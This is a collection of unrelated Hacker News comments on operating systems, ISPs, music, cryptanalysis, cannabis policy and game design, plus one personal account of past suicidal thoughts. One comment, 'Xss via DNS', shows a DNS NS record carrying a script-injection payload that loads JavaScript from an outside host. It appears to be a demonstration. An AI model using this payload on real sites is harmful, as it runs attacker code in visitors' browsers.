skysight-inc/HackerNews huggingface dataset:
I had depression from doing poorly in graduate school.

I felt inadequate and useless. You can call it temporary sadness, but I constantly contemplated suicide and nothing helped.

No matter how much I studied, I still didn't get new concepts as quickly as others and needed to study all the time which sometimes wasn't enough. Once I failed the qualifying exams, I quit and got a software engineering job where I'm doing really well and have plenty of money.

Now I'm really happy and never have such thoughts, so for me it was a matter of fixing a condition where I kept failing.
Xubuntu is now my first choice operating system. I have it on 2 desktops (one Dell for work and my home desktop). It also works great on an old Lenovo X-series and a Dell latitude. I can honestly say that the one machine I need to keep Windows 10 on for work causes me hours more grief than my Ubuntu-based machines.

For me, the biggest annoyance is having Office365 at work and not being able to use things like Skype etc natively. The web apps are OK and I mostly don't notice, but there are times I wish Ubuntu got the kind of software support from MS that macOS has.
The depth and breadth of all the sub-genres of metal is really pretty shocking, even for people that have listened to it all their lives. I have a slightly loose definition of metal, so in my mind I can go from Blackened Thrash/Death from someone like Skeletonwitch (an all time personal favorite), to whatever the hell 3 Inches of Blood is (all I know is it's awesome), to viking themed Death Metal, to all acoustic stuff from Eluveitie, all the way to a cello trio like Apocalyptica or maybe even Break of Reality (less so) and still be "in the genre" so far as I'm concerned.

Its amazing.
I absolutely loathe comcast. They're the only ISP in my area and they operate accordingly.
Their range of offerings has a huge gap, so either you pay too much for a slow connection ($45/mo for 6mbit) or go up to the next level and pay too much for more than most people would need ($85/mo for 75mbit).
Recently when I begrudgingly had their service installed, I didn't rent any of their equipment, but they still charged a $100 equipment rental deposit.
Last time I had their service, I had issues getting online at all, and probably spent ten hours total on the phone with them. Their agents were friendly and promised me the world, but they never fixed anything or kept their promises. Either they didn't care, or they didn't have the authority. I dropped them and went without a wired connection (used a couple gigs of cell data a month) for several months.

If the modern web could serve me text articles without including 1500kB of javascript and advertisements on every pageload, I'd be happy to just stick with cell phone tethering. :|
Because people have stopped using Windows in droves? What exactly went wrong for them through that mistake?
interesting part about Udacity/Coursera courses.

http://blog.interviewing.io/lessons-from-3000-technical-inte...
Coding a state machine manually is indeed suboptimal.

Computers are good at generating code. If you want a very fast FSM, they will build it for you from a compact representation (cf. a regex).

But for game dialogs speed is probably a secondary concern. I suspect that a table-driven FSM interpreter with a fully transparent internal state that can be saved / loaded is not very hard to create. Your dialogs' input language becomes the control table, which is possibly no less designer-friendly than Lua coroutines.
That's true for US w2 vs 1099. Is that also true for international hires? I think the rules are a bit different? I would ask a lawyer.
That's the one! Thanks!

https://m.youtube.com/watch?v=j3OPOYG6XIQ
> Maybe you have more experience with Linux than I? Or maybe more patience? Or time? Or maybe I'm wrong? Regardless, for my multiple attempts over the course of months trying to make it work, I couldn't stand it.

Or... maybe different expectations? I never had audio 'just work' on various linux laptops from 2002-2008. Playing some music (amarok, whatever), then the IM client (pidgin or whatever) would make a ping, and ... music would stop. Not possible to play again until killing IM client. Oh wait... dude, don't use pulse! Use ALSA! No, wait... use the latest dev build of pulse! just upgrade your entire system! No... dude, just grab a binary from this site...

Holy crap, you want to plug in an external monitor? xrandr, kxrandr, go edit config files, install some new Xorg libs, etc.

Coming from that world, the Macbook world "just works". Yes, it's gotten a bit worse over time (2016 letdowns, etc). But I still have colleagues who spend far too much time making basic stuff work in various linuxes.

This is normally the point in the story where people either say "you did it wrong" or "yeah, dude, i feel your pain - it used to be bad, but... ubuntu 'just works' and is great now'. Trouble is, I heard that years ago too ("hey yeah, it used to suck, but it's better now") and... it wasn't any better. After going through various laptops (cheap and expensive) never having a decent "just works" experience (out of the box: printer, wifi, external monitor, audio in/out, playing dvd movies and writing to dvd all just working)... I gave up.

For people with different expectations (thinking that rebooting your session to edit an Xconfig file to get multi monitor support is acceptable, for example), they'll never believe there's anything wrong.
Could you elaborate? Do they have a history of frivolous lawsuits? I could not find anything in a quick google search.
Trying to figure out how FB policy on selling firearms is somehow related...
Most of my driving (as in 90% by mileage) is on highways, and most of that is 70-mph rural highways. The first edge case I'd think of, totally not a weird edge case at all, is sudden 0-visibility fog banks at 70mph. If you think it is a good idea to slam on the brakes in such conditions, someone is likely to lose a life.
I did some of these exercises a long time ago and learned a lot. https://www.schneier.com/academic/paperfiles/paper-self-stud...

The starter exercise labeled 6.2 is a good way to get your feet wet with the ideas I described. 12-round DES without any S-boxes consists of P-boxes (permutations) and XORs, which are both linear over GF(2) vector spaces, so it's a linear block cipher and hence trivially breakable with any linear algebra package. RC5 without rotations is not exactly linear over either GF(2^n) or GF(2) since it mixes XORs and (mod 2^n) additions, but the combination is only very weakly nonlinear (there's not enough avalanching from the carries to entangle entries that are far apart), and therefore a good demonstration of why you need rotations in ARX to introduce rapid long-range bit entanglement. And in case it wasn't already obvious, the exercise about RC5 with rotations by a round number will show you why the rotation amount in ARX should be relatively prime to the bit width. Otherwise you end up with disconnected rotation orbits where the round function only mixes within a given orbit. In the extreme case where the rotation amount is half the bit width, each orbit contains at most two elements, so it's hardly any better than no rotation at all.

I bet there are also modern textbooks in cryptanalysis with exercises and a more hand-holding approach. Maybe any cryptographers reading this could recommend something.
Principles of Modern Crytography [pdf]
Wow. Seems like a ton of work
This is amazing! Is the UI OpenGL? Is the visualization program a separate process? I'm guessing the main process sends info about the monitored data structures over a socket?
I attempted to use clang-format on a mixed typescript/tsx codebase and found that it mangled jsx expressions. This wasn't surprising but I suspect that typescript users probably overlap heavily with react users so it's not a great solution as is.
I find myself increasingly disenchanted with Apple's products. The removal of the iPhone7 headphone jack was an absolute disaster from my perspective.

The new MBPs with their 16GB memory limit, their removal of the esc key, and their useless touch bar, all have me looking enviously to other hardware platforms.

Recently, I tried to burn a DVD on my iMac running Sierra using the built-in Disk Utility. Apparently, Apple ripped out the DVD burning feature in that app because they're moving away from having an optical drive in all their newer products. Please don't compare the elimination of the optical drive to the elimination of the floppy on the original iMac. The floppy had one use, and Apple was boldly showing us we could do without it. DVDs, CDs, and Blu-Ray have other uses beyond just software and application data. They're still all over our consumer electronics and need to be supported as first-class citizens on a computer that attempts to be so media friendly otherwise.

To me, this is starting to feel like Apple felt in the early 1990's when their leadership appeared to be lost. I'm not optimistic that they're going to start making the sequence of good decisions that they'd need to in order to regain my personal trust in their products.
You can play Sorites Paradox[1] with anything; doesn't mean the categories don't exist, or that they don't carve reality at important joints.

"Heaps don't exist because you can't prove an ironclad boundary between heaps and non-heaps."

"Tallness isn't a thing because you don't have a firm, binary definition of when someone is tall."

[1] https://en.wikipedia.org/wiki/Sorites_paradox
This is in no way appropriate for someone who is asking for math basics.

A lot of the material in this book makes much more sense having had experience coding machine learning algorithms.
Windows support ever coming? I love Linux, but have to use Windows for work due to strict IT policies. It really frustrates me that almost all the new exciting tech can't be accessed by me outside of the hobby world. To me, C# just isn't very productive. Great language, just not for me.
We detached this subthread from https://news.ycombinator.com/item?id=13365814 and marked it off-topic.
> Anyone who suggests doing this either hasn't done it before or has way too much time on their hands.

I switched to Arch Linux in 2015 after about 10 years of Apple.

Most of my dotfiles just continued working, so i could have been up and running for work within hours (basically make emacs, zsh and a browser run). But I decided to spent a weekend on configuring AwesomeWM, keyboard layouts and other handy stuff to really adapt the machine to me.

I update the whole system about once a week and so far run into less problems than with homebrew.

If you are not heavily reliant on proprietary GUI-tools, I don't see much problems in switching from OSX to Linux as long as you verify beforehand that your laptop is well supported.
Definitely incorrect in my experience, which was about two years ago most recently.
Introducing the Sublease 7+
My typical music tastes lean mostly toward classic rock and indie. Never was a huge metal guy. Then I stumbled on the doom metal band 'Pallbearer.' Their album 'Foundations of Burden' blew my mind. Epically melodic, complex, and moving all while fully living up to the 'doom' sound of the genre. Highly recommended.
I own meatgalore.com, I thought it would be a cool idea to have a business that sold rare meats and cuts online... but never really got the supply chain worked out.

We should link to each other.
Some types of employees have very irregular schedules, which can vary on a week-to-week basis. Right now, the most common solution is to review the "master schedule", usually a large printout hung in a common area in the back of the establishment, and write down what your days and hours will be. This is inconvenient for employees, who may make transcription errors, not see a shift they're scheduled to work because they're trying to follow a large chart filled with dozens of other employees, or miss a change in the schedule that was made after they had already written theirs down.

When I worked retail I saw the above issues every week, and would have welcomed a solution that I would know to be always up-to-date, was not filled with irrelevant information, and was convenient to access.
I think the original point of this blog was just to make fun - as it says on most articles, it's satire. Meant to entertain and make fun in the first place.
I'd like to add my grain of salt here: I can agree about the don't rewrite from scratch "rule", but only depending on the context -- and also only when looking at all the details of a given project.

When bengoodger says "reacting to the complexity of the code", I doubt this is as messy as what can be found in some private codebase produced over a decade by some less-than-google-level employees who since left. So while the never-recode myth has some value in somehow (at least) good code bases, and depending on the angle of view (to even judge whether an approach constitute a rewrite or not), it also has a rather big cost, when some manager try to use it on projects far beyond the non-return point to justify forcing engineer to swim in the septic tank instead of doing any valuable work.

After all, for each Netscape (which BTW, involves a quite good amount of technical and commercial mix, and even then Mozilla is still with us today...) I could ask why a corresponding NT has not evolved from consumer Windows... (some parts were shared, but again: the angle of view...)
Well done Phillip. I think you should be commended for actually going back and finding the deeper reasons, rather than doing the usual throw more marketing $/hire expensive sales team.

I think it's also great that you're building a product that is aimed at people who aren't quite as 'online' as the usual HN crowd, which make up a quite large %age of the population but are generally totally overlooked.

The only problem with that is it is harder to reach these companies (for the very reason your product is interesting to them). I'm curious on what your marketing strategy would be to those kinds of companies?
Xss via DNS
https://who.is/dns/xss.hack.bo0om.ru
https://www.robtex.com/?/dns-lookup/xss.hack.bo0om.ru

dig xss.hack.bo0om.ru NS @8.8.8.8

; <<>> DiG 9.10.3-P4-Debian <<>> xss.hack.bo0om.ru NS @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20685
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;xss.hack.bo0om.ru.	IN	NS

;; ANSWER SECTION:
xss.hack.bo0om.ru.	0	IN	NS	\"-->'></script><script/src=//bo0om.ru/xss.js></script><!--.

;; Query time: 161 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Tue Jan 10 23:46:40 MSK 2017
;; MSG SIZE rcvd: 118

More... https://bo0om.ru/xss-every-day
Maybe things changed in the past year, but my experience is exactly as you describe. In my entire time in Amsterdam I was never approached by dealers, except when I was in the Red Light District. Even after almost a decade, entering the RLD is still a bit of a 'culture shock'.

(and even much of the RLD is dealer-free; it's specific streets)
> Gonna play devil's advocate: shouldn't we wait a generation or something like 10 years to evaluate the situation ?

Cannabis is not a "recent situation" - people have been consuming cannabis since prehistoric times. The cannabis prohibition, on the other hand, is. The country-wide cannabis prohibition started in the United States with the founding of the Federal Bureau of Narcotics in 1930. We did wait three generations to evaluate the situation, it is obvious that the cannabis prohibition has been a complete and total failure causing uncounted damage to lives and communities, and needs to be repealed as soon as possible.
IIRC macOs does not support OpenGL 4.5 or Vulkan. Also there is currently no high performance Apple Hardare to do things like CUDA or other GPGPU programming. CUDA on Linux is really an easy thing to do. For Game programming tools like Unreal Engine 4 are afaik alreasy supported on Linux, which gives you multiplatform support. For graphics, music or 3D modelling windows is currently the only solution.
Yes, that's the one I was thinking of.

Forgot it had a decent cover of Painkiller too:

https://m.youtube.com/watch?v=quPliK3eAy4
It takes less than 15min to be formally diagnosed with depression and prescribed SSRIs in the US.

If you're bored you can watch the commercials on TV to learn that it's a chemical imbalance, and then repeat that fact every time a discussion about depression surfaces.
Agreed ^ this title is a big misleading / clickbaity
The Bus Stop Bus
It's important to ensure that the software you're developing runs as expected in the production environment. That does not mean that the development environment and the production environment need to be the same. For example, it's very likely that the development tools you're using will (or should) not be deployed. This extends to anything else about the development environment, as long as you're able to consistently deploy the software to the production environment.

This also assumes that there is only one production environment. Some software is expected to work on different architectures or OSes, some quite dissimilar to each other. For example, some software runs on Linux, macOS, and Windows. A developer (or development team), probably has (and should have) access to all of these environments for testing, but likely does development in the one they're most comfortable with.
To be fair, if the weather app is developed by Microsoft, then you are sharing your location with Microsoft.
Go 1.8 Release Candidate 1 is released
People also fall asleep at the wheel, with cruse control there now driving randomly.

I watched someone driving on a nice sunny day on a low traffic interstate suddenly make a sharp right turn crossing our lane to fly off the highway and start rolling. I have no idea why this happened, but everyone in the car survived so it's not even part of the traffic fatality statistics.
Just a bit. Though I sent out individual reports to each and every curator and shared raw data here:

https://docs.google.com/spreadsheets/d/1xiQJBo10qG2U8cnEGNI0...
The Definitive List of Google Search Easter Eggs
You're right, I haven't tried it recently since it became the norm for OEMs to release computers pre-loaded with Linux. Once bitten, twice shy as they say.

Installing Linux distros were only half the battle for me however. Maybe that's changed too or maybe it was because I was always trying to force everything to run on top of KDE. I'll definitely keep an eye on this development, but my expectations are that it won't change the landscape much. Who knows.
If you're using typescript and emacs, https://github.com/ananthakumaran/tide is a very good integration with the built-in language server for semantic auto-completion and "jump-to" support. I use it every day on large projects.

I think that vscode uses the typescript language server behind-the-scenes for plain javascript analysis.
He's a pure math guy.
Memory & CPU. We knew we'd be running into both eventually - without adding additional redis instances (memory growing way faster than CPU usage in this specific scenario).

When it was initially built, it was basically a bunch of redis lua scripts to handle updating the data - on redis configured in master/slave managed by sentinels.

Given the nature of the data too, only the data for active users would be hot - but users that were inactive would have stuck around in memory needlessly. Our new system keeps only the hot set of users in memory. We also built it to transparently migrate users from redis to cassandra when they were accessed.
...and they will defend against any accusations of discrimination or abuse by saying "no PERSON here did anything wrong -- we use a fully automated AI Machine Learning logistics system that optimizes our warehouse and delivery operations. We don't know why it picks which items to give to which customers"

This is the Unfriendly AI that people like MIRI should be worried about.
Yes, the map is always the same as in the terrain is the same and the major buildings are in the same spot.

However, every playthrough, the resources are distributed randomly throughout the map (in designated spawn spots; for example, there may be 4 or 5 places in one zone that a rifle will spawn, but it'll actually spawn at most at one of them); food resources are randomly distributed; and there are these "secret bunkers" on a couple of the maps that are randomly done as well. There is exactly one per map, and the potential spawn places for them are all difficult to reach.

Also, some houses/huts/etc are generated and may not exist in all maps (i.e. there are maybe 8 "spots" where a house could be but in any given playthrough there could be only one or two with the other 6 being burnt down, inaccessible shacks), and that affects the available resources - you can go into houses and find canned goods, better clothes, etc.

The reason the map is the same is because the sandbox is only the pre-release game - there's going to be a single player campaign with a story, so the map corresponds to the story.

Also, trust me, the familiarity with the map is not a down side that detracts from game play. Much like a real survival situation, you're too busy trying to not starve or freeze to death to worry about it.

My problem with the game is the impracticality of eating as much as the game says you have to eat. If you're hunkered down in a shelter, chilling in a warm sleeping bag with many warm clothes on, near a fire, and your body temperature is fully normal, you don't need to consume 4000 calories in a day. But, in the game, it seems like 2kg of cooked deer meat will only get you through 8 hours. In a real survival situation, that should be like several days' worth of food at least.
An additional problem is what happens when you need to patch the game? If you need to modify some form of quest or dialogue script written as a coroutine, how do you migrate the state? What if you've changed the script 5 times in a series of patches, and the user is still on version X?

Then again you still have this problem even if you power your quest/dialog with data instead.

Without sufficient information it's practically impossible to make a smooth migration.
As a user I don't feel save enough to trust my operating system with its word, that if I'm going to dissable shit it stays off. I'm still on Win 7 and still sometimes don't feel sure, that it does what I say it should.
Experimental Alzheimer's drug causes teeth to regrow tissue lost to cavities
Thanks for this! I'll definitely check it out! Are there any features that ense.nyc has that you wish we had?
Will be a good domain to have once we make way for our robotic overlords and see our usefulness decline
Not sure why they went that way either..."Offline Cache Causes Duplicate Asset Downloads" would have caught my attention just fine.
On mobile so this won't be thorough, but compare the udacity course to the free (!) Coursera course from Andrew ng and you'll see the difference.

I'm not even talking about mathematical rigor, I myself prioritize intuition over symbolic rigor, but you need to have the intuition of what's going on, not treat keras like a black box that magically spits out a ConvNet.

Another thing I dislike is the lack of real world production deployment work. In an engineering oriented course, this should be the top focus. Unfortunately, this isn't really the case.

That being said, I would say it's better than many universities.